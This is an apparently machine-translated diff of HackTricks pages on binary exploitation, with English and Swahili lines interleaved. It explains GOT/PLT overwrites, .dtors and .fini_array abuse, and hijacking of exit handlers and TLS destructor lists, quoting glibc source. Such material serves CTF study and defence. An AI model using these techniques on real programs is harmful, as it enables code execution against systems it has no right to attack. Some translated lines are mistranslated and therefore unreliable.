**Jedwali la Uhamisho wa Kimataifa (GOT)** ni mekanizma inayotumika katika binaries zinazounganishwa kwa njia ya kidinamikali ili kudhibiti **anwani za kazi za nje**. Kwa kuwa **anwani hizi hazijulikani hadi wakati wa utekelezaji** (kwa sababu ya uunganishaji wa kidinamikali), GOT inatoa njia ya **kisasisha anwani za alama hizi za nje** mara tu zinapokuwa zimeamuliwa.
Each entry in the GOT corresponds to a symbol in the external libraries that the binary may call. When a **function is first called, its actual address is resolved by the dynamic linker and stored in the GOT**. Subsequent calls to the same function use the address stored in the GOT, thus avoiding the overhead of resolving the address again.
Kila kipengele katika GOT kinahusiana na alama katika maktaba za nje ambazo binary inaweza kuita. Wakati **kazi inapoitwa kwa mara ya kwanza, anwani yake halisi inamuliwa na linker ya kidinamikali na kuhifadhiwa katika GOT**. Kuitwa kwa kazi hiyo tena hutumia anwani iliyohifadhiwa katika GOT, hivyo kuepuka mzigo wa kuamua anwani hiyo tena.
### **PLT: Procedure Linkage Table**
### **PLT: Jedwali la Uunganishaji wa Taratibu**
The **Procedure Linkage Table (PLT)** works closely with the GOT and serves as a trampoline to handle calls to external functions. When a binary **calls an external function for the first time, control is passed to an entry in the PLT associated with that function**. This PLT entry is responsible for invoking the dynamic linker to resolve the function's address if it has not already been resolved. After the address is resolved, it is stored in the **GOT**.
**Jedwali la Uunganishaji wa Taratibu (PLT)** linafanya kazi kwa karibu na GOT na hutumikia kama trampoline kushughulikia simu za kazi za nje. Wakati binary **inapoiita kazi ya nje kwa mara ya kwanza, udhibiti unapelekwa kwa kipengele katika PLT kinachohusiana na kazi hiyo**. Kipengele hiki cha PLT kinawajibika kwa kuita linker ya kidinamikali ili kuamua anwani ya kazi hiyo ikiwa haijakuwa imeamuliwa tayari. Baada ya anwani hiyo kuamuliwa, inahifadhiwa katika **GOT**.
**Therefore,** GOT entries are used directly once the address of an external function or variable is resolved. **PLT entries are used to facilitate the initial resolution** of these addresses via the dynamic linker.
**Hivyo,** vipengele vya GOT vinatumika moja kwa moja mara tu anwani ya kazi au variable ya nje inapoamuliwa. **Vipengele vya PLT vinatumika kuwezesha uamuzi wa awali** wa anwani hizi kupitia linker ya kidinamikali.
## Get Execution
## Pata Utekelezaji
### Check the GOT
### Angalia GOT
Get the address to the GOT table with: **`objdump -s -j .got ./exec`**
Pata anwani ya jedwali la GOT kwa: **`objdump -s -j .got ./exec`**
![](<../../images/image (121).png>)
Observe how after **loading** the **executable** in GEF you can **see** the **functions** that are in the **GOT**: `gef➤ x/20x 0xADDR_GOT`
Tazama jinsi baada ya **kupakia** **executable** katika GEF unaweza **kuona** **kazi** ambazo ziko katika **GOT**: `gef➤ x/20x 0xADDR_GOT`
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
![](<../../images/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2) (2).png>)
Using GEF you can **start** a **debugging** session and execute **`got`** to see the got table:
Kwa kutumia GEF unaweza **kuanza** kikao cha **debugging** na kutekeleza **`got`** ili kuona jedwali la got:
![](<../../images/image (496).png>)
### GOT2Exec
In a binary the GOT has the **addresses to the functions or** to the **PLT** section that will load the function address. The goal of this arbitrary write is to **override a GOT entry** of a function that is going to be executed later **with** the **address** of the PLT of the **`system`** **function** for example.
Katika binary GOT ina **anwani za kazi au** kwa **sehemu ya PLT** ambayo itapakia anwani ya kazi. Lengo la kuandika hii bila mpangilio ni **kufuta kipengele cha GOT** cha kazi ambayo itatekelezwa baadaye **na** **anwani** ya PLT ya **`system`** **kazi** kwa mfano.
Ideally, you will **override** the **GOT** of a **function** that is **going to be called with parameters controlled by you** (so you will be able to control the parameters sent to the system function).
Kwa njia bora, utakuwa **unafuta** **GOT** ya **kazi** ambayo **itaitwa na vigezo vinavyodhibitiwa na wewe** (hivyo utaweza kudhibiti vigezo vinavyotumwa kwa kazi ya mfumo).
If **`system`** **isn't used** by the binary, the system function **won't** have an entry in the PLT. In this scenario, you will **need to leak first the address** of the `system` function and then overwrite the GOT to point to this address.
Ikiwa **`system`** **haitumiki** na binary, kazi ya mfumo **haitakuwa** na kipengele katika PLT. Katika hali hii, utahitaji **kuvuja kwanza anwani** ya kazi ya `system` na kisha kufuta GOT ili kuelekeza kwenye anwani hii.
You can see the PLT addresses with **`objdump -j .plt -d ./vuln_binary`**
Unaweza kuona anwani za PLT kwa **`objdump -j .plt -d ./vuln_binary`**
## libc GOT entries
## vipengele vya GOT vya libc
The **GOT of libc** is usually compiled with **partial RELRO**, making it a nice target for this supposing it's possible to figure out its address ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
**GOT ya libc** kwa kawaida inajumuishwa na **partial RELRO**, na kuifanya kuwa lengo zuri kwa hii ikiwa inawezekana kubaini anwani yake ([**ASLR**](../common-binary-protections-and-bypasses/aslr/)).
Common functions of the libc are going to call **other internal functions** whose GOT could be overwritten in order to get code execution.
Kazi za kawaida za libc zitaita **kazi nyingine za ndani** ambazo GOT yake inaweza kufutwa ili kupata utekelezaji wa msimbo.
Find [**more information about this technique here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
Pata [**maelezo zaidi kuhusu mbinu hii hapa**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries).
### **Free2system**
In heap exploitation CTFs it's common to be able to control the content of chunks and at some point even overwrite the GOT table. A simple trick to get RCE if one gadgets aren't available is to overwrite the `free` GOT address to point to `system` and to write inside a chunk `"/bin/sh"`. This way when this chunk is freed, it'll execute `system("/bin/sh")`.
Katika uhalifu wa heap CTFs ni kawaida kuwa na uwezo wa kudhibiti maudhui ya vipande na kwa wakati fulani hata kufuta jedwali la GOT. Njia rahisi ya kupata RCE ikiwa gadgets moja hazipatikani ni kufuta anwani ya `free` GOT ili kuelekeza kwenye `system` na kuandika ndani ya kipande `"/bin/sh"`. Kwa njia hii wakati kipande hiki kinapofutwa, kitatekeleza `system("/bin/sh")`.
### **Strlen2system**
Another common technique is to overwrite the **`strlen`** GOT address to point to **`system`**, so if this function is called with user input it's posisble to pass the string `"/bin/sh"` and get a shell.
Mbinu nyingine ya kawaida ni kufuta anwani ya **`strlen`** GOT ili kuelekeza kwenye **`system`**, hivyo ikiwa kazi hii itaombwa na maoni ya mtumiaji inawezekana kupitisha mfuatano `"/bin/sh"` na kupata shell.
Moreover, if `puts` is used with user input, it's possible to overwrite the `strlen` GOT address to point to `system` and pass the string `"/bin/sh"` to get a shell because **`puts` will call `strlen` with the user input**.
Zaidi ya hayo, ikiwa `puts` inatumika na maoni ya mtumiaji, inawezekana kufuta anwani ya `strlen` GOT ili kuelekeza kwenye `system` na kupitisha mfuatano `"/bin/sh"` ili kupata shell kwa sababu **`puts` itaita `strlen` na maoni ya mtumiaji**.
## **One Gadget**
## **Gadget Moja**
{{#ref}}
../rop-return-oriented-programing/ret2lib/one-gadget.md
{{#endref}}
## **Abusing GOT from Heap**
## **Kunyanyasa GOT kutoka Heap**
A common way to obtain RCE from a heap vulnerability is to abuse a fastbin so it's possible to add the part of the GOT table into the fast bin, so whenever that chunk is allocated it'll be possible to **overwrite the pointer of a function, usually `free`**.\
Then, pointing `free` to `system` and freeing a chunk where was written `/bin/sh\x00` will execute a shell.
Njia ya kawaida ya kupata RCE kutoka kwa udhaifu wa heap ni kunyanyasa fastbin ili iwezekane kuongeza sehemu ya jedwali la GOT ndani ya fast bin, hivyo kila wakati kipande hicho kinapopangwa itakuwa inawezekana **kufuta kiashiria cha kazi, kawaida `free`**.\
Kisha, kuelekeza `free` kwenye `system` na kufuta kipande ambacho kimeandikwa `/bin/sh\x00` kutatekeleza shell.
It's possible to find an [**example here**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
Inawezekana kupata [**mfano hapa**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk_extend_overlapping/#hitcon-trainging-lab13)**.**
## **Protections**
## **Ulinzi**
The **Full RELRO** protection is meant to protect agains this kind of technique by resolving all the addresses of the functions when the binary is started and making the **GOT table read only** after it:
Ulinzi wa **Full RELRO** unakusudia kulinda dhidi ya aina hii ya mbinu kwa kuamua anwani zote za kazi wakati binary inapoanzishwa na kufanya jedwali la **GOT kuwa lisiloweza kusomeka** baada ya hapo:
{{#ref}}
../common-binary-protections-and-bypasses/relro.md
{{#endref}}
## References
## Marejeleo
- [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)

View File

@ -5,52 +5,48 @@
## .dtors
> [!CAUTION]
> Nowadays is very **weird to find a binary with a .dtors section!**
> Sasa ni **ajabu sana kupata binary yenye sehemu ya .dtors!**
The destructors are functions that are **executed before program finishes** (after the `main` function returns).\
The addresses to these functions are stored inside the **`.dtors`** section of the binary and therefore, if you manage to **write** the **address** to a **shellcode** in **`__DTOR_END__`** , that will be **executed** before the programs ends.
Get the address of this section with:
Destructors ni kazi ambazo zina **fanywa kabla ya programu kumalizika** (baada ya `main` function kurudi).\
Anwani za kazi hizi zimehifadhiwa ndani ya **`.dtors`** sehemu ya binary na kwa hivyo, ikiwa utaweza **kuandika** **anwani** kwenye **shellcode** katika **`__DTOR_END__`**, hiyo itakuwa **fanywa** kabla ya programu kumalizika.
Pata anwani ya sehemu hii kwa:
```bash
objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR”
```
Usually you will find the **DTOR** markers **between** the values `ffffffff` and `00000000`. So if you just see those values, it means that there **isn't any function registered**. So **overwrite** the **`00000000`** with the **address** to the **shellcode** to execute it.
Kawaida utaona alama za **DTOR** **katikati** ya thamani `ffffffff` na `00000000`. Hivyo basi, ikiwa unaona tu hizo thamani, inamaanisha kwamba **hakuna kazi iliyosajiliwa**. Hivyo **andika upya** **`00000000`** na **anwani** ya **shellcode** ili kuitekeleza.
> [!WARNING]
> Ofc, you first need to find a **place to store the shellcode** in order to later call it.
> Bila shaka, kwanza unahitaji kupata **mahali pa kuhifadhi shellcode** ili baadaye uweze kuikalia.
## **.fini_array**
Essentially this is a structure with **functions that will be called** before the program finishes, like **`.dtors`**. This is interesting if you can call your **shellcode just jumping to an address**, or in cases where you need to go **back to `main`** again to **exploit the vulnerability a second time**.
Kimsingi hii ni muundo wenye **kazi ambazo zitaitwa** kabla ya programu kumalizika, kama **`.dtors`**. Hii ni ya kuvutia ikiwa unaweza kuita **shellcode yako kwa kuruka kwenye anwani**, au katika hali ambapo unahitaji kurudi **kwenye `main`** tena ili **ku exploit udhaifu mara ya pili**.
```bash
objdump -s -j .fini_array ./greeting
./greeting: file format elf32-i386
Contents of section .fini_array:
8049934 a0850408
8049934 a0850408
#Put your address in 0x8049934
```
Kumbuka kwamba wakati kazi kutoka **`.fini_array`** inatekelezwa inahamia kwenye inayofuata, hivyo haitatekelezwa mara nyingi (kuzuia mizunguko isiyo na mwisho), lakini pia itakupa tu **utekelezaji wa kazi** iliyowekwa hapa.
Note that when a function from the **`.fini_array`** is executed it moves to the next one, so it won't be executed several time (preventing eternal loops), but also it'll only give you 1 **execution of the function** placed here.
Kumbuka kwamba entries katika **`.fini_array`** zinaitwa kwa **mpangilio wa kinyume**, hivyo labda unataka kuanza kuandika kutoka kwa ya mwisho.
Note that entries in `.fini_array` are called in **reverse** order, so you probably wants to start writing from the last one.
#### Mzunguko wa milele
#### Eternal loop
Ili kutumia **`.fini_array`** kupata mzunguko wa milele unaweza [**kuangalia kilichofanywa hapa**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** Ikiwa una angalau entries 2 katika **`.fini_array`**, unaweza:
In order to abuse **`.fini_array`** to get an eternal loop you can [**check what was done here**](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)**:** If you have at least 2 entries in **`.fini_array`**, you can:
- Use your first write to **call the vulnerable arbitrary write function** again
- Then, calculate the return address in the stack stored by **`__libc_csu_fini`** (the function that is calling all the `.fini_array` functions) and put there the **address of `__libc_csu_fini`**
- This will make **`__libc_csu_fini`** call himself again executing the **`.fini_array`** functions again which will call the vulnerable WWW function 2 times: one for **arbitrary write** and another one to overwrite again the **return address of `__libc_csu_fini`** on the stack to call itself again.
- Tumia andiko lako la kwanza **kuitisha kazi ya kuandika isiyo salama tena**
- Kisha, hesabu anwani ya kurudi kwenye stack iliyohifadhiwa na **`__libc_csu_fini`** (kazi inayoitisha kazi zote za **`.fini_array`**) na weka hapo **anwani ya `__libc_csu_fini`**
- Hii itafanya **`__libc_csu_fini`** itishe mwenyewe tena ikitekeleza kazi za **`.fini_array`** tena ambazo zitaiteka kazi isiyo salama ya WWW mara 2: moja kwa **kuandika isiyo salama** na nyingine tena kuandika **anwani ya kurudi ya `__libc_csu_fini`** kwenye stack ili kuitisha mwenyewe tena.
> [!CAUTION]
> Note that with [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** the section **`.fini_array`** is made **read-only**.
> In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** is made **read-only** also.
> Kumbuka kwamba na [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** sehemu ya **`.fini_array`** imefanywa **kusomeka tu**.
> Katika toleo jipya, hata na [**Partial RELRO**] sehemu ya **`.fini_array`** imefanywa **kusomeka tu** pia.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,39 +1,38 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
# WWW2Exec - atexit(), Hifadhi ya TLS & Viashiria vingine vilivyopotoshwa
{{#include ../../banners/hacktricks-training.md}}
## **\_\_atexit Structures**
> [!CAUTION]
> Nowadays is very **weird to exploit this!**
> Sasa hivi ni **ajabu sana kutumia hili!**
**`atexit()`** is a function to which **other functions are passed as parameters.** These **functions** will be **executed** when executing an **`exit()`** or the **return** of the **main**.\
If you can **modify** the **address** of any of these **functions** to point to a shellcode for example, you will **gain control** of the **process**, but this is currently more complicated.\
Currently the **addresses to the functions** to be executed are **hidden** behind several structures and finally the address to which it points are not the addresses of the functions, but are **encrypted with XOR** and displacements with a **random key**. So currently this attack vector is **not very useful at least on x86** and **x64_86**.\
The **encryption function** is **`PTR_MANGLE`**. **Other architectures** such as m68k, mips32, mips64, aarch64, arm, hppa... **do not implement the encryption** function because it **returns the same** as it received as input. So these architectures would be attackable by this vector.
**`atexit()`** ni kazi ambayo **kazi nyingine zinapewa kama vigezo.** Hizi **kazi** zita **tekelezwa** wakati wa kutekeleza **`exit()`** au **kurudi** kwa **main**.\
Ikiwa unaweza **kubadilisha** **anwani** ya yoyote ya hizi **kazi** ili kuelekeza kwenye shellcode kwa mfano, utapata **udhibiti** wa **mchakato**, lakini hii kwa sasa ni ngumu zaidi.\
Kwa sasa **anwani za kazi** zitakazotekelezwa zime **fichwa** nyuma ya muundo kadhaa na hatimaye anwani ambayo inaelekeza si anwani za kazi, bali zime **sifishwa kwa XOR** na displacement na **funguo za nasibu**. Hivyo kwa sasa vector hii ya shambulio si **ya manufaa sana angalau kwenye x86** na **x64_86**.\
**Kazi ya usimbuaji** ni **`PTR_MANGLE`**. **Mifumo mingine** kama m68k, mips32, mips64, aarch64, arm, hppa... **haitekelezi kazi ya usimbuaji** kwa sababu inarudisha **kile kile** ilichopokea kama pembejeo. Hivyo mifumo hii ingekuwa na uwezo wa kushambuliwa kupitia vector hii.
You can find an in depth explanation on how this works in [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
Unaweza kupata maelezo ya kina juu ya jinsi hii inavyofanya kazi katika [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
## link_map
As explained [**in this post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), If the program exits using `return` or `exit()` it'll run `__run_exit_handlers()` which will call registered destructors.
Kama ilivyoelezwa [**katika chapisho hili**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure), Ikiwa programu inatoka kwa kutumia `return` au `exit()` itatekeleza `__run_exit_handlers()` ambayo itaita waondoa walioandikishwa.
> [!CAUTION]
> If the program exits via **`_exit()`** function, it'll call the **`exit` syscall** and the exit handlers will not be executed. So, to confirm `__run_exit_handlers()` is executed you can set a breakpoint on it.
The important code is ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
> Ikiwa programu inatoka kupitia **`_exit()`** kazi, itaita **`exit` syscall** na waondoa wa kutoka hawatafanywa. Hivyo, ili kuthibitisha `__run_exit_handlers()` inatekelezwa unaweza kuweka breakpoint juu yake.
Kifungu muhimu ni ([chanzo](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
```c
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
if (fini_array != NULL)
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
{
ElfW(Addr) *array = (ElfW(Addr) *) (map->l_addr + fini_array->d_un.d_ptr);
size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
@ -41,198 +40,187 @@ if (fini_array != NULL)
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Note how `map -> l_addr + fini_array -> d_un.d_ptr` inatumika **kuhesabu** nafasi ya **array ya kazi za kuita**.
Note how `map -> l_addr + fini_array -> d_un.d_ptr` is used to **calculate** the position of the **array of functions to call**.
Kuna **chaguzi kadhaa**:
There are a **couple of options**:
- Overwrite the value of `map->l_addr` to make it point to a **fake `fini_array`** with instructions to execute arbitrary code
- Overwrite `l_info[DT_FINI_ARRAY]` and `l_info[DT_FINI_ARRAYSZ]` entries (which are more or less consecutive in memory) , to make them **points to a forged `Elf64_Dyn`** structure that will make again **`array` points to a memory** zone the attacker controlled.&#x20;
- [**This writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) overwrites `l_info[DT_FINI_ARRAY]` with the address of a controlled memory in `.bss` containing a fake `fini_array`. This fake array contains **first a** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **address** which will be executed and then the **difference** between in the address of this **fake array** and the v**alue of `map->l_addr`** so `*array` will point to the fake array.
- According to main post of this technique and [**this writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so leave a pointer on the stack that points to the binary `link_map` in ld.so. With an arbitrary write it's possible to overwrite it and make it point to a fake `fini_array` controlled by the attacker with the address to a [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) for example.
Following the previous code you can find another interesting section with the code:
- Badilisha thamani ya `map->l_addr` ili iweke kwenye **feki `fini_array`** yenye maagizo ya kutekeleza msimbo wa kiholela
- Badilisha `l_info[DT_FINI_ARRAY]` na `l_info[DT_FINI_ARRAYSZ]` (ambayo ni karibu mfululizo katika kumbukumbu), ili ziwe **zinapoint kwa `Elf64_Dyn`** iliyotengenezwa ambayo itafanya tena **`array` iweke kwenye eneo la kumbukumbu** ambalo mshambuliaji anadhibiti.&#x20;
- [**Hii ripoti**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) inabadilisha `l_info[DT_FINI_ARRAY]` kwa anwani ya kumbukumbu inayodhibitiwa katika `.bss` yenye feki `fini_array`. Hii feki array ina **kwanza** [**anwani ya gadget moja**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **ambayo itatekelezwa na kisha **tofauti** kati ya anwani ya hii **feki array** na **thamani ya `map->l_addr`** ili `*array` iweke kwenye feki array.
- Kulingana na chapisho kuu la mbinu hii na [**hii ripoti**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so inacha kiashiria kwenye stack kinachopoint kwa binary `link_map` katika ld.so. Kwa kuandika kiholela inawezekana kubadilisha na kufanya ipointe kwa feki `fini_array` inayodhibitiwa na mshambuliaji yenye anwani ya [**gadget moja**](../rop-return-oriented-programing/ret2lib/one-gadget.md) kwa mfano.
Kufuata msimbo wa awali unaweza kupata sehemu nyingine ya kuvutia yenye msimbo:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Katika kesi hii, itakuwa inawezekana kubadilisha thamani ya `map->l_info[DT_FINI]` ikielekeza kwenye muundo wa `ElfW(Dyn)` uliofanywa. Pata [**maelezo zaidi hapa**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
In this case it would be possible to overwrite the value of `map->l_info[DT_FINI]` pointing to a forged `ElfW(Dyn)` structure. Find [**more information here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
## TLS-Storage dtor_list overwrite katika **`__run_exit_handlers`**
## TLS-Storage dtor_list overwrite in **`__run_exit_handlers`**
As [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), if a program exits via `return` or `exit()`, it'll execute **`__run_exit_handlers()`** which will call any destructors function registered.
Code from `_run_exit_handlers()`:
Kama [**ilivyoelezwa hapa**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite), ikiwa programu inatoka kupitia `return` au `exit()`, itatekeleza **`__run_exit_handlers()`** ambayo itaita kazi yoyote ya destructor iliyosajiliwa.
Code kutoka `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
if (run_dtors)
__call_tls_dtors ();
```
Code from **`__call_tls_dtors()`**:
Msimbo kutoka **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Kwa kila kazi iliyosajiliwa katika **`tls_dtor_list`**, itachambua kiashiria kutoka **`cur->func`** na kuikalia na hoja **`cur->obj`**.
For each registered function in **`tls_dtor_list`**, it'll demangle the pointer from **`cur->func`** and call it with the argument **`cur->obj`**.
Using the **`tls`** function from this [**fork of GEF**](https://github.com/bata24/gef), it's possible to see that actually the **`dtor_list`** is very **close** to the **stack canary** and **PTR_MANGLE cookie**. So, with an overflow on it's it would be possible to **overwrite** the **cookie** and the **stack canary**.\
Overwriting the PTR_MANGLE cookie, it would be possible to **bypass the `PTR_DEMANLE` function** by setting it to 0x00, will mean that the **`xor`** used to get the real address is just the address configured. Then, by writing on the **`dtor_list`** it's possible **chain several functions** with the function **address** and it's **argument.**
Finally notice that the stored pointer is not only going to be xored with the cookie but also rotated 17 bits:
Kwa kutumia kazi ya **`tls`** kutoka kwenye [**fork ya GEF**](https://github.com/bata24/gef), inawezekana kuona kwamba kwa kweli **`dtor_list`** iko karibu sana na **stack canary** na **PTR_MANGLE cookie**. Hivyo, kwa kujaa kwenye hiyo, itakuwa inawezekana **kuandika upya** **cookie** na **stack canary**.\
Kwa kuandika upya PTR_MANGLE cookie, itakuwa inawezekana **kupita kazi ya `PTR_DEMANLE`** kwa kuipatia 0x00, itamaanisha kwamba **`xor`** inayotumika kupata anwani halisi ni anwani iliyowekwa tu. Kisha, kwa kuandika kwenye **`dtor_list`** inawezekana **kuunganisha kazi kadhaa** na **anwani** ya kazi hiyo na **hoja** yake.
Hatimaye, zingatia kwamba kiashiria kilichohifadhiwa hakitakuwa kiki xored tu na cookie bali pia kitageuzwa bits 17:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Hivyo unahitaji kuzingatia hili kabla ya kuongeza anwani mpya.
So you need to take this into account before adding a new address.
Pata mfano katika [**post ya asili**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
Find an example in the [**original post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite).
## Pointers nyingine zilizochanganywa katika **`__run_exit_handlers`**
## Other mangled pointers in **`__run_exit_handlers`**
This technique is [**explained here**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) and depends again on the program **exiting calling `return` or `exit()`** so **`__run_exit_handlers()`** is called.
Let's check more code of this function:
Tekniki hii [**imeelezwa hapa**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite) na inategemea tena programu **kutoka kwa kuita `return` au `exit()`** hivyo **`__run_exit_handlers()`** inaitwa.
Hebu tuangalie zaidi msimbo wa kazi hii:
```c
while (true)
{
struct exit_function_list *cur;
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
